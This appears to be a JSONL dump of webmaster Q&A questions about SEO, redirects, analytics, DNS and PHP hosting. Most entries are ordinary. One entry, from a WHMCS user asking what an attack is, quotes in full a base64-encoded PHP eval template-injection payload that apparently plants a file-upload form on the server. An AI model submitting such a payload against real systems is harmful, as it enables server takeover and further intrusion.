{"id":"42976","title":"Are there other mailloop like software?","text":"I used to use mailloop to do mass mailing and I am happy. Now it's no longer supported. What other program we can use to send mass mail? I also need autoresponder, series autoresponder (people sign up and get 5 email 1 day each). Any other thing like that? Basically I need software that: 1. Capture user's email and their first name 2. Send mail merge to those users 3. Support auto responder Should I just use mail chimp service?"}
{"id":"43725","title":"One domain and multiple website in folders","text":"I am going to create a network with one domain, e.g. `example.com` then going to manage my websites in **folders**. Look below for example: www.example.com\/market www.example.com\/freebies www.example.com\/personalblog www.example.com\/shop Consider that all four websites have different design and codes. From SEO perspective, is it recommended or I should use **subdomains** or buy **four domains** for each website?"}
{"id":"15130","title":"When I am root, \"mysql\" connects without a password, even though I've set one","text":"When I am root, \"mysql\" connects without a password, even though I've set one: # mysqladmin -u root password 'whatever' # mysql -u root -p Enter password: (typing the 'whatever' above) Welcome to the MySQL monitor. Commands end with ; or \\g. Your MySQL connection id is 4 to server version: 4.1.22-standard Type 'help;' or '\\h' for help. Type '\\c' to clear the buffer. mysql> Bye but unfortunately this also happens... # mysql -u root Welcome to the MySQL monitor. Commands end with ; or \\g. Your MySQL connection id is 25 to server version: 4.1.22-standard Type 'help;' or '\\h' for help. Type '\\c' to clear the buffer. mysql> So even though I've set the password, and it IS checked when I use \"-p\", it is however not necessary!?!?"}
{"id":"34031","title":"Will not supporting IE or older browsers drive away potential visitors\/users of my site?","text":"Normally a SO browser but this question doesn't fit there, hopefully it fits here. I just want to ask from web designers' point of view if it's wrong to not care about supporting Internet Explorer or older browsers. The site I'm designing looks great in all browsers except IE9-. There are certain things that IE doesn't support or behave like other browsers; webkit stuff, some CSS styles, drop-and-drop files from OS etc etc, but it all works great in Safari, FireFox, Chrome etc. Should I be that concerned? I know there are several people that use IE, but it's limitations have just been causing me more work by having to come up with workarounds. From what I've read, many of the issues I've been having should be solved with IE10, but not everybody keeps up to date. I know of several people who are still using IE6! Again, I'm hoping this is the right place to ask a question like this, and if not, please point me to the right stack exchange site instead of just downvoting me. Thanks! EDIT: Upon further research.... So far this year, IE(all versions) and Chrome have been neck and neck as the top, with IE only squeaking by Chrome, and FireFox a close 3rd. But looking at the top 10 browsers, IE6 doesn't even show up on this list in which the lowest percentage is 1.92%. Source : http:\/\/www.w3counter.com\/globalstats.php?year=2012&month=7 Having a look at this other site, IE6 shows up in 11th place out of 12, just before \"Other\" http:\/\/www.sitepoint.com\/browser-trends-february-2012\/ This makes me a little more wary of not spending more time on IE compatibility. However, my site will not be going to a live beta until October or November, and I'm hoping that IE10 will have more features coded into it. Currently, I've written my upload page which is a \"drag-and-drop files from the OS\" type to simply display \"IE is not supported\", leaving no other option for IE users to upload pictures because I've spent so much time writing the uploader which does many things other than just upload the files. I will be changing this kinda cold \"Access Denied\" to a suggestion to upgrade, or install other browsers, with download links for each. Big thanks for the posts here and the interesting links!"}
{"id":"59563","title":"Google analytics shows wrong number of page views, asp.net website","text":"Sometimes it can be for example 4500 requests, after a few hours it shows a few thousand less. What is wrong? It looks like analytics corrects itself. I changed from classic to Universal a few months ago, do not know if it has anything to do with this. In masterpage: <script> (function (i, s, o, g, r, a, m) { i['GoogleAnalyticsObject'] = r; i[r] = i[r] || function () { (i[r].q = i[r].q || []).push(arguments) }, i[r].l = 1 * new Date(); a = s.createElement(o), m = s.getElementsByTagName(o)[0]; a.async = 1; a.src = g; m.parentNode.insertBefore(a, m) })(window, document, 'script', '\/\/www.google-analytics.com\/analytics.js', 'ga'); ga('create', 'UA-xxxxxxxx-1', 'xxxxx.se'); ga('send', 'pageview'); <\/script>"}
{"id":"26992","title":"If I have only WOFF and EOT, what browsers am I supporting with @font-face?","text":"We're looking at buying a font which only allows its use on the web in the provided formats: WOFF and EOT. I'm not sure what browsers those work in and can't seem to find up to date information. What browsers can I suport with just those two? My only experience is with fontspring's syntax which has EOT, WOFF, TTF and SVG."}
{"id":"31766","title":"Worth changing the URL structure to incorporate keywords?","text":"I am migrating my blog from PHP to ASP.NET and while recoding the whole website, I figured I might as well improve the URL structure. This is how an url looks like now: **example.com\/blog\/post\/755\/hakurei-reimu-cosplay-from-touhou-by-kishigami- hana** and this is hould it will look after the change (cosplay being the dynamic main keyword of the post): **example.com\/blog\/cosplay\/hakurei-reimu-cosplay-from-touhou-by-kishigami- hana-755\/** The website is a bit more than a half year old and receives around 650k page views a month, mainly from search traffic. Of course everything would be redirected with 301 redirects. Do you think it is worth changing to a new URL structure, or will it harm the ranking in the long run?"}
{"id":"35786","title":"Is google pays for each time the user navigate and new ads appear?","text":"If I have mobile app and google ads in each page. (according to pay per view method) Is google pays for each time the user navigate and new ads appear? Thanks."}
{"id":"26994","title":"Why is this GIF's animation speed different in Firefox vs. IE?","text":"Oracle Enterprise Manager has a web interface that uses this GIF:  The odd thing about this GIF is that in Firefox (v9&10) it spins about twice as fast as in MSIE (v7&9). **Why does the animation speed change depending on the browser?**"}
{"id":"37647","title":"Web Development Environment: How to distribute edited hosts files over bunch of mac machines?","text":"I am doing some research to prepare some web development environment for our small(10ppl and growing) new office. User Case: For each new web project usually we create new alias on an Apache server someproject.companywebsite From my understanding in order to see this website locally for all the rest of our team(including mangers and directors) they will need to edit hosts file (e.g. \"192.168.1.10 someproject.companywebsite\"), and like that each time for a new project(can be 2-5 each week) Solution: And I looking for a solution how to edit this hosts file only once and distribute it over all mac machines in our network at once or much more flawlessly than poking around with each machine every time over and over again. Is that possible? Or that a very wrong way of doing that? Perhaps we better set up own local dns server and point to it our router? Though own dns server a bit concerns me because of might be some network interruption and others lags, if you know what I mean. Or perhaps there are another workflows for that? What's the best way for such things? So I'll be so grateful to hear some advices from experienced admins. I couldn't find that info on internet, so if you know where to read about it, point me in a right direction. Thank you in advance Alex"}
{"id":"18744","title":"Can randomly-generated field names help avoid SPAM bots?","text":"If I were to generate my field names randomly each time a contact form was rendered, would that help prevent SPAM bots from recognizing the fields? Can they read label text?"}
{"id":"18741","title":"Blogspot as a simple CMS","text":"Blogger\/Blogspot recently released a new version of their software. This new version appears to have features relevant to a simple CMS (static page, albeit limited). I read from their Buzz Blog about a few websites that don't necessarily look like a typical Blogspot blog but rather somewhat a typical website deployed using a minimal CMS software: http:\/\/buzz.blogger.com\/2011\/07\/you-can-do-some-amazing-things-with.html Can anyone point resources where I can learn how to do these? (Preferably case-studies with some steps how to create such website as oppose to Blogger HOWTO). Plus point if you can also tell me the infrastructure of Blogger.com (software stack, etc). Thanks"}
{"id":"55034","title":"Tracking state of a one time event on a big website","text":"Assume a website with 250 million active users. I add a new feature to the website. Once a user visits I want to use a short tutorial to teach them how to use said feature. I only want them to complete the tutorial once (or actively click it away). What is the smart way to code the verification check for this? How do I track the progress in the database? Having a separate table with like NewTutorial_completed = 1 for user_id = 21312315 would just snowball. It also feels intuitively bad to check for every one-time event for every user on every page view. While writing the question I got one idea, to have a separate event log that is checked periodically for any new action the user need to see or perform. I push events to this log and once they are completed they are removed from the log. No need to store NewTutorial_completed = 1-type variables this way. I am sure this is a common problem. I would appreciate any input on what best practice is."}
{"id":"33250","title":"Impossible referrers","text":"I'm tracking webpage referrers. Sometimes I see russian (or other languages) blogs as referrer, which cover other subjects. Googling \"site:http:\/\/myrussianblog.ru mywebsite\" returns nothing. I don't use advertising systems. What these referrer mean? I know that referrer field can be changed.. but why?"}
{"id":"12877","title":"Make all subdomains load the same page, how is it called\/done?","text":"Is there a way to make all subdomains show the same page. I got the idea somewhere you could have a page like idk information.com and if an user typed miami.information.com he would get information from that city. Is there a way to do it? Like making the site retrieve the first part of the subdomain and search it on the site."}
{"id":"12876","title":"Google Instant Preview (Image) - What screen dimension? e.g 1024x768?","text":"I'm wondering what screen dimensions Google Instant Preview takes a snapshot of your website at e.g 1024px x 768px...? http:\/\/sites.google.com\/site\/webmasterhelpforum\/en\/faq-instant-previews FYI: I'm building a \"responsive design\" layout. Wonder if others like Yahoo or Bing take screenshots? And what dimensions they too use..."}
{"id":"8051","title":"Server-infrastructure recommendations","text":"Here's the thing: I need a cheap, fast, reliable infrastructure that can dynamically scale (like Amazon S3: cloud-storage). I'm thinking of 3 different type of 'servers'. 1. Application-server * Should be able to run CentOS (or another light Linux-distr.) * Should be able to run Apache * Should be able to run PHP * Should be able to run GD (so it does rely on it's cpu). * Should be _extremely_ reliable and fast. 2. Database-server * Should be able to run MySQL * Should be able to... well, do nothing else :P. * Should be _extremely_ reliable and fast. 3. Storage-server * Should be able to run some kind of file-transfer-deamon (like FTP, CouchDB, etc.) * Should be able to do nothing else. * Should be _extremely_ reliable and fast. So technically, by transferring all static data to 2 different servers\/services, the application-server can totally focus on the webpages. My questions: * What services do you recommend? * Which is cheaper, faster and more reliable: using my own server, or using some cloud-storage\/cloud-computing-service (like Amazon S3, CloudFiles, etc.)? * How can I prevent bandwidth abuse (such as dos-attacks causing the bill to be extremely high)? * What's the difference between \"including CDN\" and \"excluding CDN\"? It seems the price doesn't differ at CloudFiles? * Do you have to pay \"including CDN\" + \"excluding CDN\" when you decide to enable the delivery-network? Or have you only got to pay \"including CDN\"? * Should I use my own nameserver too or can I use my domain-hoster's nameservers? What are the minimum software specifications of a nameserver. Can I write some software myself? Does anyone have a good protocol-description? I hope you can answer my questions. **Answers** * I shouldn't write my own nameserver-software. Instead, I should use something like bind. (http:\/\/osspro.com\/2010\/05\/04\/linux-create-your-own-domain-name-server-dns\/)."}
{"id":"8050","title":"Google maps for a mobile site","text":"We have a website that uses the Google Maps static maps functionality to embed maps into pages. This works with no problem; we just use something like this: <img src=\"http:\/\/maps.google.com\/maps\/api\/staticmap?zoom=15&size=512x512&maptype=roadmap&markers=color:red|label:H|42.038322,-87.680260&sensor=false\" \/> We are now creating a mobile site for the same client. The code itself will still work, but I'm wondering how to make sure I get a map that doesn't take over the entire screen, but is still readable. Is there a standard size that's used for mobile screens? I'm guessing with the static maps there's no way for a user to click to zoom in if we use a small size, but the regular API requires javascript and a lot of mobile browsers still don't support it. Any ideas?"}
{"id":"8505","title":"How long can I expect to wait before a DNS name is transferred to a new server?","text":"I need to know how long it should take to transfer my domain name from one server to another. I have a domain name and I am trying to transfer it but one of the local companies said that I can't transfer in less than 2 months with them."}
{"id":"34043","title":"get mysql_real_escape is giving me errors when I try and add security to my website","text":"I tried doing this: @ $db = new myConnectDB(); $beerName = mysql_real_escape_string($beerName); $beerID = mysql_real_escape_string($beerID); $brewery = mysql_real_escape_string($brewery); $style = mysql_real_escape_string($style); $userID = mysql_real_escape_string($userID); $abv = mysql_real_escape_string($abv); $ibu = mysql_real_escape_string($ibu); $breweryID = mysql_real_escape_string($breweryID); $icon = mysql_real_escape_string($icon); I get this error: Warning: mysql_real_escape_string() [function.mysql-real-escape-string]: Access denied for user"}
{"id":"12870","title":"godaddy domains, no bids, should I wait for expire?","text":"I'm interested in a godaddy domain name that's on auction. The domain name has no bids on it. Should I wait for the auction to end and then buy it afterwards or should I bid in the auction? Basically the question is, will the domain still be available to buy after the auction ends?"}
{"id":"34048","title":"How to crawl a webPage with dynamic content added by javascript","text":"I guess there is a news that Google bots have the capability to understand our javascript code. It means this is possible to fully crawl a webpage which has lazy loading feature enabled. I am using Apache Nutch to crawl websites but I don't think it has the capability to fetch the URLs being injected in HTML page by javascript when the page is scrolled down. I see a lot of websites doing lazy loading for performance issue. So Can somebody please explain me how can i crawl the data which comes in HTML page on lazy load. (On scrolling the page down)."}
{"id":"60450","title":"Images on my site contain wp-content\/uploads\/ in the URL, how do I change this?","text":"When ever you click on an image in my site it displays www.sitename.com\/wp- content\/uploads\/date\/image.jpg. How do I change this to something like www.sitename.com\/image.jpg or www.sitename.com\/post\/image.jpg?"}
{"id":"48450","title":"Installshield in VS2012 and deployment of web application in IIS7.5","text":"I deployed a web application in IIS 7.5 using _installshield_. But after deploying the site I am facing below error on accessing the site from URL. HTTP Error 403.14 - Forbidden The Web server is configured to not list the contents of this directory. Possible causes: A default document is not configured for the requested URL, and directory browsing is not enabled on the server. I also specified default document as one of `.cshtml` file in my project and make directory browsing enable. But still I am facing same error."}
{"id":"68023","title":"Can we preserve our old domains Pagerank but cut all ties with the old domain such that it doesn't redirect?","text":"Here's the situation - a client of mine has recently changed their company name and have changed their web address. They want to completely cut all ties with their old brand, so they have told me that their old website absolutely _cannot_ redirect to the new one. The old domain has a PR of 4, so it would be nice to carry some of that authority over to the new domain. The new domain has just been registered so I'm really starting over from scratch in terms of SEO. I can't use 301 redirects and I can't link to the new site from the old one. Is there anything I can do?"}
{"id":"44970","title":"Our \"Contact Us\" page is outperforming our \"Home\" page on Google","text":"We're looking at how our website is performing in Google and noticing that our \"contact us\" page is outperforming our \"homepage\" for a typical search which is product+geography. widgets dallas widget makers dallas widget shop texas The reason being that the \"contact us\" page has the \"dallas\" & \"texas\" in our address more prominently in its text. So Google is being perfectly logical in showing this page as a priority. But the \"contact us\" page is far from the best page for our new customer to stumble on. It's not a _bad_ page, it's just not the best page for a new visitor to come to _first_. Our homepage is where to find our best stuff. Is there a correct solution to this problem? The obvious solution of stuffing more geographic keywords into our homepage feels a bit dirty (and anti- Google). Equally, making the \"contact us\" page more like our homepage is nonsensical. We don't want to detract from its job of providing \"contact us\" information to people who really need it, a job which it's currently doing fine."}
{"id":"31498","title":"Why do I get this error about file not being found?","text":"I am getting this error: `File does not exist: \/var\/www\/user\/home\/user\/public_html\/cgi-sys` I have only .html files in the document root. Can anyone tell why I am getting this error?"}
{"id":"31499","title":"Does URL encoding create duplicate content?","text":"An SEO expert was testing my site, and noticed that my URLs contained the special character `:`. He said that would create duplicate content, because google would interpret any url containing `:` as two separate URLs: one with `:` and one with `%3A`. Is he right?"}
{"id":"7496","title":"Is there a search engine that indexes source code of a web-page?","text":"I need to search the web for sites that are in our industry that use the same Adwords management company, to ensure that the said company is not violating our contract, as they have been accused of doing. They use a tracking code in the template of every page which has a certain domain in the URL, and I'm wondering if it's possible \"Google\" the source code using some bot that crawls the code rather than the content? For example, I bought an unlimited license for an image gallery, and I was asked to type the license number in a comment just before the script. I thought it was just so a human could look at the source and find out if someone paid, but it turned out that it was actually that they had a crawler looking for their source code and that comment. If it ran across the code on your site, it would look for the comment, and if it found one, it would check to see if it was an existing one. If not, it would first notify you of your noncompliance, and then notify the owner of the script. **Edit:** I'm looking to index HTML and JavaScript only, not the server-side languages or Java."}
{"id":"50320","title":"Does content with few words and lots of Anchor text count as spam?","text":"My website has been getting inbound links from an article which contains a low word count but lots of anchor text. That paragraph contains 150 words but nearly 15 are anchor text. Will that have an affect my site's ranking?"}
{"id":"44976","title":"How necessary is it to use HTML5 now on websites?","text":"I have been working upon a wordpress theme and almost done with it, but recently I got to learn some of the new HTML5 tags such as `<header>`, `<footer>`, `<article>` etc etc. I have a doubt whether I should re-modify my pages in accordance with HTML5 or not? I mean is it a good practice now to code in HTML5 or I should continue using the older HTML code until HTML5 is completely out in the market! Please guide. For now I am just thinking of implementing the basic HTML5 tags such as `<header>`, `<article>` and `<footer>` and meta tags format."}
{"id":"15688","title":"How to tell Google that I have changed my website URLs?","text":"I have done major updates to my website, and renamed all my URLs. How can I tell Google that I have renamed these URLs and let Google refresh its index? **My website URL** : `http:\/\/www.pndmasr.com\/` **My sitemap** : `http:\/\/www.pndmasr.com\/sitemap.xml` I have uploaded my sitemap via Google Webmaster Tools many times. However, every time I search Google for \"pndmasr\", I still get results with old pages. I have waited more than 3 days but the problem remains. Any suggestions? Is there a problem with my sitemap?"}
{"id":"63311","title":"How to redirect all links to new site with same domain & same content?","text":"Is the same domain but i change url structure and website platform and is important to save all traffic from old links."}
{"id":"57059","title":"How to redirect old page link to new link when using new CMS for website","text":"We are doing a new website and the current website `www.domains.com` has been running for almost 3 years and is quite visible on search engines. Now we are working on new website with multilingual features and we are also using custom cms that is developed using asp.net webform. and we have new url for which will render old url useless. for example in current website internship page can be accessed via two url `Internship` http:\/\/www.domain.com\/internship\/ http:\/\/www.domain.com\/internship\/Default.aspx and `Employment` page can also be accessed via two url http:\/\/www.domain.com\/employment\/ http:\/\/www.domain.com\/employment\/Default.aspx Now with new cms following for the above mentioned `internship` page we use following url http:\/\/www.domain.com\/en\/internship\/1\/21\/internship since new website actually doen't contain folder `internship` i was thinking of creating a folder `internship` and default.aspx and make it 301 redirect from `http:\/\/www.domain.com\/internship\/Default.aspx` to `http:\/\/www.domain.com\/en\/internship\/1\/21\/internship` is this approach correct. I looked for best approach on net and found this article which has also confused me http:\/\/moz.com\/blog\/save-your-website-with-redirects as it now showing any practical example. as other article save we should use 302 redirect etc... Please advise how can i make a redirect from the old website link which is `http:\/\/www.domain.com\/internship\/Default.aspx` TO new website link `http:\/\/www.domain.com\/en\/internship\/1\/21\/internship` which basically has same contents. appreciate reply on this"}
{"id":"12747","title":"Can anyone recommend a good SMS gateway for PHP?","text":"I'm looking for an SMS gateway that has the following criteria: * Supports sending from short codes * Opt-in capabilities for end-user (will require user to opt in before sending message) * Has a clean API, preferably an XML\/ REST API, although SOAP is fine * The cheaper the better Honestly, I keep searching and searching all permutations of \"SMS Gateway API\" etc... on Google and I can't find any great services that can support all of these criteria. There are a lot of really SEO optimized sites and I can't tell which of them are legit. I'm looking for something that will be easy and quick to implement, and none of my colleagues have any recommendations. What APIs have you used (preferably with PHP) that have gotten this job done? Which services have been the most pleasant to deal with, both technically and support-wise? **Update:** Will be sending primarily (probably solely) in the US."}
{"id":"63515","title":"Should I add rel nofollow to internal links which already have meta noindex?","text":"Let's say I have a products page with listing producsts and the page has pagination. I would like the 1st page to have all the SE ranking weight so I decided to put `meta noindex` on the rest of the paginated pages (from page 2 to N). My common sense says that if I don't want pages to not get indexed, I shouldn't also pass link\/PR juice to these pages. (Is that smart?) What happens if I set `rel=\"nofollow\"` for all pagination links from page 2 to page N?"}
{"id":"22632","title":"Is it possible to filter analytics to particular visits like you can filter to particular dates?","text":"Is it possible to find out more information about particular visits in analytics? For example, say I'm looking at new versus returning users. I then add a secondary column of \"city\". Ok, now I know all new users from yesterday came from new york, for example. But what if I want to find out more information about those particular new vists from new york. Such as behaviors, technology, content. Is it possible to filter analytics to particular visits like you can filter to particular dates?"}
{"id":"22630","title":"What secure domain registry services exist?","text":"I'm using a domain registry service that only requires a username and password to log in. Are there any domain registry services that require a second factor in addition to a password?"}
{"id":"61013","title":"How to execute PHP from TinyWeb","text":"How do I set up my system to get TinyWeb to execute PHP scripts? Mongoose asked me to specify the location of `php-cgi.exe`, but I'm not sure how to do this for TinyWeb."}
{"id":"60325","title":"Duplicate Content: Who wrote it first?","text":"I understand this question has been asked before in here ( ** _HERE_**) However, as some of you may know, technology advances quickly and it is very unstable, specially SEO. Today's practices can be completely ancient technology next month. And this question was asked back in 2010. So, with that being said,... During a research, I realized that one of my blogs has been duplicated by 7 other websites. And I'm talking about 'verbatim' duplication. period by period, comma by comma. I was going to write them all a letter but then it hit me, what if they dispute it? How can I prove that I wrote it? Is there anything out there that I can do to see were their blogs written? I was thinking about looking into the copywrite date in their footer but that can be changed."}
{"id":"61017","title":"Publishing content to different websites","text":"I'm running a real estate website and need to publish my every content to different property listing websites through XML feed. Now my question is will Google consider this as duplicate content ? if so how should I fix this ?"}
{"id":"58521","title":"Is there a point in registering my company (and my website URL) in a public company catalog for SEO?","text":"There are many local and global company catalogs. Some of them generate info about my company automatically, some have to be manually filled out. Is there any benefit to registering and adding a link to my site in them? Will I get some juice? Do these catalogs even have any juice?"}
{"id":"26523","title":"Should WHMCS hacking attemps that never succeed be important to me?","text":"I have WHMCS and I use it with no problem for my hosting purposes. Almost every 2 or 3 days, I can see a spam with malicious content submitted as a new ticket that tries to hack. The last one was: Subject: {php}eval(base64_decode('JGNvZGUgPSBiYXNlNjRfZGVjb 2RlKCJQRDl3YUhBTkNtVmphRzhnSnp4bWIzSnRJR0ZqZEdsdmJ qMGlJaUJ0WlhSb2IyUTlJbkJ2YzNRaUlHVnVZM1I1Y0dVOUltM TFiSFJwY0dGeWRDOW1iM0p0TFdSaGRHRWlJRzVoYldVOUluVnd iRzloWkdWeUlpQnBaRDBpZFhCc2IyRmtaWElpUGljN0RRcGxZM mh2SUNjOGFXNXdkWFFnZEhsd1pUMGlabWxzWlNJZ2JtRnRaVDB pWm1sc1pTSWdjMmw2WlQwaU5UQWlQanhwYm5CMWRDQnVZVzFsU FNKZmRYQnNJaUIwZVhCbFBTSnpkV0p0YVhRaUlHbGtQU0pmZFh Cc0lpQjJZV3gxWlQwaVZYQnNiMkZrSWo0OEwyWnZjbTArSnpzT kNtbG1LQ0FrWDFCUFUxUmJKMTkxY0d3blhTQTlQU0FpVlhCc2I yRmtJaUFwSUhzTkNnbHBaaWhBWTI5d2VTZ2tYMFpKVEVWVFd5Z G1hV3hsSjExYkozUnRjRjl1WVcxbEoxMHNJQ1JmUmtsTVJWTmJ KMlpwYkdVblhWc25ibUZ0WlNkZEtTa2dleUJsWTJodklDYzhZa jVWY0d4dllXUWdVMVZMVTBWVElDRWhJVHd2WWo0OFluSStQR0p 5UGljN0lIME5DZ2xsYkhObElIc2daV05vYnlBblBHSStWWEJzY jJGa0lFZEJSMEZNSUNFaElUd3ZZajQ4WW5JK1BHSnlQaWM3SUg wTkNuME5DajgrIik7DQokZm8gPSBmb3BlbigidGVtcGxhdGVzL 2p4aC5waHAiLCJ3Iik7DQpmd3JpdGUoJGZvLCRjb2RlKTt=')) ;{\/php}) Message: {php}eval(base64_decode('JGNvZGUgPSBiYXNlNjRfZGVjb 2RlKCJQRDl3YUhBTkNtVmphRzhnSnp4bWIzSnRJR0ZqZEdsdmJ qMGlJaUJ0WlhSb2IyUTlJbkJ2YzNRaUlHVnVZM1I1Y0dVOUltM TFiSFJwY0dGeWRDOW1iM0p0TFdSaGRHRWlJRzVoYldVOUluVnd iRzloWkdWeUlpQnBaRDBpZFhCc2IyRmtaWElpUGljN0RRcGxZM mh2SUNjOGFXNXdkWFFnZEhsd1pUMGlabWxzWlNJZ2JtRnRaVDB pWm1sc1pTSWdjMmw2WlQwaU5UQWlQanhwYm5CMWRDQnVZVzFsU FNKZmRYQnNJaUIwZVhCbFBTSnpkV0p0YVhRaUlHbGtQU0pmZFh Cc0lpQjJZV3gxWlQwaVZYQnNiMkZrSWo0OEwyWnZjbTArSnpzT kNtbG1LQ0FrWDFCUFUxUmJKMTkxY0d3blhTQTlQU0FpVlhCc2I yRmtJaUFwSUhzTkNnbHBaaWhBWTI5d2VTZ2tYMFpKVEVWVFd5Z G1hV3hsSjExYkozUnRjRjl1WVcxbEoxMHNJQ1JmUmtsTVJWTmJ KMlpwYkdVblhWc25ibUZ0WlNkZEtTa2dleUJsWTJodklDYzhZa jVWY0d4dllXUWdVMVZMVTBWVElDRWhJVHd2WWo0OFluSStQR0p 5UGljN0lIME5DZ2xsYkhObElIc2daV05vYnlBblBHSStWWEJzY jJGa0lFZEJSMEZNSUNFaElUd3ZZajQ4WW5JK1BHSnlQaWM3SUg wTkNuME5DajgrIik7DQokZm8gPSBmb3BlbigidGVtcGxhdGVzL 2p4aC5waHAiLCJ3Iik7DQpmd3JpdGUoJGZvLCRjb2RlKTt=')) ;{\/php}) What are these attacks? Why don't they use any other way to attack?!!! In my opinion it is obvious that a system like WHMCS will never be hacked by such a poor attempts. They should have of course used some functions like `strip_tags` and `mysql_real_escape_string` and other security functions. Would any body explain why do they always select such a poor way to attack? Don't they really know that WHMCS is stronger than these low level hacks? In fact I'd like to know that: Do these efforts differ from each other? Can they be serious? Should I be scared of these attempts?"}
{"id":"28361","title":"How to confirm the Mobile Numbers of my users?","text":"How can I confirm the Mobile Numbers of my users in order to reduce the number of scammers claiming to be in the US but who are actually in another country? A free solution would be preferred. I use PHP\/MySQL."}
{"id":"26529","title":"Looking for archiver script with status","text":"I have a shared hosting account and I want to create a zip (or another archive type) file from whole website. I asked the hosting support but they don't do this. Is there any php or Asp.Net script that creates an archive from folder that I can check the compression status, to know it is running and not frozen. My server has Windows Server 2003 and IIS6 with Plesk 8.6 Control panel."}
{"id":"61359","title":"How to add Field data in between <td> in PHP EMAILER?","text":"I have a created a PHP form which is working fine without adding any html table on that. While I am applying Table to make the emailer better look, I am receiving email without form Field Data. How to solve this? I think the problem is between the td and \/td. How to mention the field name? < td >.$name.;< \/td > What is the mistake I am doing between the td's?"}
{"id":"37558","title":"How do sites avoid SEO issues and legalities with subdomain unique ids?","text":"I was looking through a few websites recently and noticed a trend I'm not sure I understand. Sites are creating unique referral URLs for customers in the form of: `http:\/\/customname.site.com` (If somebody were to use `http:\/\/www.site.com\/customname` it would function the same way). I can see the sites are using 302 redirects at some point using Google Chrome then doing some sort of htaccess redirect, taking the sub domain name (custom name) and applying it as a referral parameter then keeping in session during the entire process. However, there must be thousands of these custom URLs that people are typing in. How are each one of these \"sub domains\" not treated as separate URLs which in turn are redirected to the same page (in short, generating tons of links all pointing to the same page which Google would normally frown upon)? Additionally, the links also appear on the site themselves as click-able links so I'm not sure how these are not tracked. Similarly, the \"unique\" URL is not indexed or cached in any Google search results. **How is this capability handled?** 1. I know these are 302 redirects, I can see this on the sites network flow. 2. These links do in fact appear on the page itself because in some areas (for example, the bottom of the page may say: send this page to a friend! `http:\/\/name.site.com\/` which in turn would again redirect to something like `http:\/\/www.site.com?id=name` so the id value could be stored in session"}
{"id":"50051","title":"Does similar Titles considered duplicates relating to SEO","text":"I have built a testing service and I wonder if I should be concerned that search engines will consider similar titles as duplicates. For example: 1. Some URLs title can be differed from others by only one word such as \"Senior\" and \"Junior\" * Title A: C++ Online Test for Juniors * Title B: C++ Online Test for Seniors 2. Another example is with the \"+\" sign: * Title A: C Standard Library Online Test for Seniors * Title B: C++ Standard Library Online Test for Seniors Should I assume search engines will understand there is a difference in the titles? And the titles are not duplicated?"}
{"id":"67659","title":"Requests for site not hosted on my server","text":"I am seeing http get requests in my servers access log for a site that is not hosted on my server and also the dns records of the site do not point to my server the domain points to 3 ip addresses in china. Anyone have any ideas as to why this would happen?"}
{"id":"6","title":"Do meta keywords have any impact on ranking algorithms?","text":"From what I have read, Google no longer uses meta keywords in it's ranking algorithm. Is it worth the effort to maintain meta keywords?"}
{"id":"7296","title":"meta tage for SEO","text":"> **Possible Duplicate:** > Are meta keywords worth the effort? Are the metatags importent for Search engines?"}
{"id":"14223","title":"Are Meta Keywords Obsolete?","text":"> **Possible Duplicate:** > Are meta keywords worth the effort? Creating a website for a BraodBand Company, and not too sure whether or not to go ahead and fill in the meta keywords? Are they still necessary?"}
{"id":"29899","title":"Is there any lyrics meta tag when a page contains lyrics?","text":"> **Possible Duplicate:** > Do meta keywords have any impact on ranking algorithms? So I created a website for a friend that has a music band and for each song we have the lyrics for it. I don't want to use the word `lyrics` (if it's not necessary) because it is pretty obvious when you're visiting the site. So my question is what should I do, from my side, to let the crawlers know that when somebody is searching for `the smallest creature reboot lyrics` his official website will appear higher? Any SEO tricks for music, bands, lyrics, etc, before the whole planet is going to start linking to his website? :)"}
{"id":"65519","title":"Do keywords relate to words on your page?","text":"I'm trying to cover 1-5 products as well as a few geographic areas on each page of our company website. But I can't list each location with each product or else I'll get a huge list and search engines may penalize me. So my question is if I had the geographic locations shown on my page that we service and then just listed products in the keyword meta would search engines rank me for each product\/service in the areas listed on the page? Or would it just rank me for the product\/service keyword competing with the world? So I don't want to do this: EX. \"Salt Lake City Cherry Cabinets, \"Sandy UT Cherry Cabinets\", etc etc\" I want to be able to do this, but I don't know if it'll work: EX. \"dark cabinets, cherry cabinets, maple cabinets\" in the meta tag and then on the page list our locations and service areas for our customers, \"Salt Lake City 85747, Sandy UT 83849\" And then have the keywords paired with the locations in the search engine results. I know that search engines takes the pages text into account, but will it with the information above rank me if someone typed: \"Salt Lake City Cherry Cabinets\"? I don't know why this question was marked a a duplicate and linked to a page saying that keywords meta tags don't matter at all, but that doesn't answer my question whatsoever."}
{"id":"29263","title":"Is HTML meta element effective to increase a site's search ranking?","text":"> **Possible Duplicate:** > Do meta keywords have any impact on ranking algorithms? Some sites and web developers say that meta keywords and meta description is not important and necessary to increase search ranking of a site or to be indexed while some are say reverse. Only important thing is putting sitemap.xml file to site's root ,some say. Is meta element important for search ranking?"}
{"id":"50676","title":"How do I prevent search engines from indexing a website duplicated on a second domain?","text":"Let's say I run a website `example.com` with a dedicated IP `A.B.C.D`. Then I find out doing a search on Google, that my website is also being indexed through a domain `A-B-C-D.example.com` (where the `A-B-C-D` is equivalent to the dedicated IP). Obviously this is seen as a duplicated content. I don't have access to that second domain so I can't get rid of it (according to support team at the hosting company, that domain was set up as \"rDNS\" to the dedicated IP by a third party that manages the domain). How can I stop it from being indexed in Google while my main domain still is?"}
{"id":"28675","title":"What does (not provided) mean in the traffic sources section of google analytics?","text":"I'm looking at Google Analytics for one of our sites, and I noticed that our top Keyword is `(not provided)`. This seems like a special value of some kind, I can't imagine people typing `(not provided)` into the search and coming up with our site. Does it mean that a large number of our site users don't use cookies? I don't understand, what does it mean?"}
{"id":"28893","title":"Registering a bt domain name (bhutan)","text":"I need to register a domain name that ends in .bt, which is Bhutan. I'm finding a few (expectedly) shady sites that offer it, including rwgusa.com. Any experience with them or anyone else that can broker an international domain name? This is for a shortener url for my business. There isn't a whole lot more detail I can add here, but because of the \"quality standards\" of the stackoverflow stuff, I'm having to add some drivel here. Apologies."}
{"id":"61421","title":"How to create a subdomain using a script","text":"How can one create a new subdomain using a script? Creating a new database or database table is something I'm familiar with. If this is not possible, how does About.com create all the subdomains they use. Is it manually, or some other way?"}
